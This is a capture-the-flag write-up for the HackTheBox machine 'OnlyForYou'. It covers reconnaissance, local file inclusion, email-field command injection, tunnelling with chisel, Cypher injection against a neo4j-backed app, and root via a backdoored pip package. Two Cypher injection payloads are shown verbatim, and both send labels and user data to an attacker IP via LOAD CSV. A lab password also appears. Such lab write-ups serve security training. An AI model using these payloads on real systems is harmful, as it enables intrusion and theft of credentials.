OnlyForYou is a medium linux box on HackTheBox. It starts with exploiting an LFI vulnerability to leak application source code, which reveals a code injection vulnerability. Once inside the box, you setup a tunnel to a local web app that’s vulnerable to Cypher Injection. Privesc is through a sudo permission on pip3 download
.
Info
Recon
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.80 scan initiated Sat Aug 19 12:04:50 2023 as: nmap -sC -sV -oN nmap.txt -v 10.10.11.210
Nmap scan report for 10.10.11.210
Host is up (0.39s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 19 12:06:02 2023 -- 1 IP address (1 host up) scanned in 72.40 seconds
Web
NMAP showed port 80 is redirecting to http://only4you.htb
, so I added it to my /etc/hosts
file;
Most of the links in the page are dead, but there is a contact-us form at the bottom;
Filling the form and clicking the send button generated a POST request;
Tampering with the parameters a little showed an error, which confirms the server is processing the request;
The FAQ section linked to another subdomain, beta.only4you.htb
;
The Source Code button links to http://beta.only4you.htb/source
, which start a download for source.zip
. The source code of the web app is found inside (it’s a flask web app);
Nothing of interest was found in the implementation of both image conversion and resizing featured by the site. Further look revealed a function named download()
that handles POST requests to the /download
route. This function is vulnerable to LFI through the image
parameter;
Foothold
We already have the source code of beta.only4you.htb
, but not that of the main domain only4you.htb
. Since the sites are running behind Nginx as indicated in the server response header, I read the default Nginx config file at /etc/nginx/sites-enabled/default
, which revealed the web root of only4you.htb
;
Since beta.only4you.htb
is a flask app, I checked for app.py
in the web root of only4you.htb
, and it exists. The app.py
file imported sendmessage
from a module named form
(form.py
), which was also dumped;
Notice how the issecure()
function is using a loose regex to filter the email address, before passing the domain part (everything after @
) to a subprocess.run()
, which is used for executing shell command. This makes it vulnerable to code injection, which I exploited to gain a shell on the box as the user www-data
;
User
There are 2 user accounts on the box;
1
2
3
4
5
6
www-data@only4you:/dev/shm$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john:/home/john:/bin/bash
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
www-data@only4you:/dev/shm$
Some Interesting service running locally;
1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@only4you:~/only4you.htb$ ss -ltn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:8001 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 50 [::ffff:127.0.0.1]:7474 *:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 4096 [::ffff:127.0.0.1]:7687 *:*
www-data@only4you:~/only4you.htb$
So I uploaded chisel
and setup a reverse tunnel for port 3000
and 8001
;
This opens up port 3000
and 8001
on my box and proxied them to the box through the reverse connection. Loading up port 3000
showed an instance of Gogs;
Port 8001
seems to be hosting some custom web app;
Trying some common defaults, I got in using admin:admin
;
The employees tab has a search feature that throws a 500 error after adding a single quote in the search query;
This indicates a possible SQL injection, so I passed it to sqlmap
, which flag it as vulnerable, but was not able to detect the type of database management system (DBMS) in use;
The payload looks like a MySQL query to me, but supplying it using the --dbms=MySQL
flag didn’t work. There is a checklist in the dashboard that might explain this;
The neo4j’s equivalent of SQL injection is called Cypher Injection. Using the cheatsheet at hacktricks, I was able to dump available labels with the OOB payload;
1
' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://10.10.16.73/?l='+label as l RETURN 0 as _0 //
The user
label looks interesting. Dumping it with the payload;
1
a' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.16.73/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
I got the hash of 2 users;
This looks like a SHA256 hash. We already know the password of admin
, so no need to crack it. Saving the hash of john
into a file, I was able to crack it using John the Ripper;
Local user john
exists on the box, so I tried to login over SSH, and it worked;
PrivEsc
john has a sudo
permission configured;
The download
argument is used to tell pip
to download and install a python package. This is interesting as this could allow for a straightforward RCE, but we must supply a link that starts with http://127.0.0.1:3000/
and ends with .tar.gz
. Gogs is already running on this port. Trying the creds of john:ThisIs4You
allowed me to login;
The Test
repo is private, and has nothing of interest. However, we could exploit the sudo
perm by uploading a backdoored python package on the repo, make the repo public so it can be directly accessed externally, and then pass the direct URL to the call to sudo pip3 download <url>
.
I got a minimal python package with no dependencies (which is important as HTB boxes are not connected to the internet, which will be required to resolve unmet dependencies) at pypi. I extracted the archive with;
Our file of interest is setup.py
, which is what will be executed during installation. I edited it and add a bash reverse shell;
I then packaged it back as backdoored.tar.gz
and upload it to the Test
repo;
I then made the repo public;
I then copied the raw URL, which is http://127.0.0.1:3000/john/Test/raw/master/backdoored.tar.gz
I then passed the link to sudo pip3 download http://127.0.0.1:3000/john/Test/raw/master/backdoored.tar.gz
, which gave me a shell on the box as root
;
Summary
- NMAP showed port 22 and 80 listening.
- Analysed the source code for
beta.only4you.htb
to find an LFI - Used it to dump the source of
only4you.htb
and identify a code injection vulnerability, which gave me a shell aswww-data
- Inside as
www-data
;- Setup a tunnel to local services using
chisel
- Found a cypher injection vulnerability on the service on port
8001
- Exploited it to get the creds of
john
for SSH and Gogs access
- Setup a tunnel to local services using
- Inside as
john
;- Leveraged access to Gogs to exploit a
sudo
permission onpip3 download
to download and execute a backdoored python archive asroot
.
- Leveraged access to Gogs to exploit a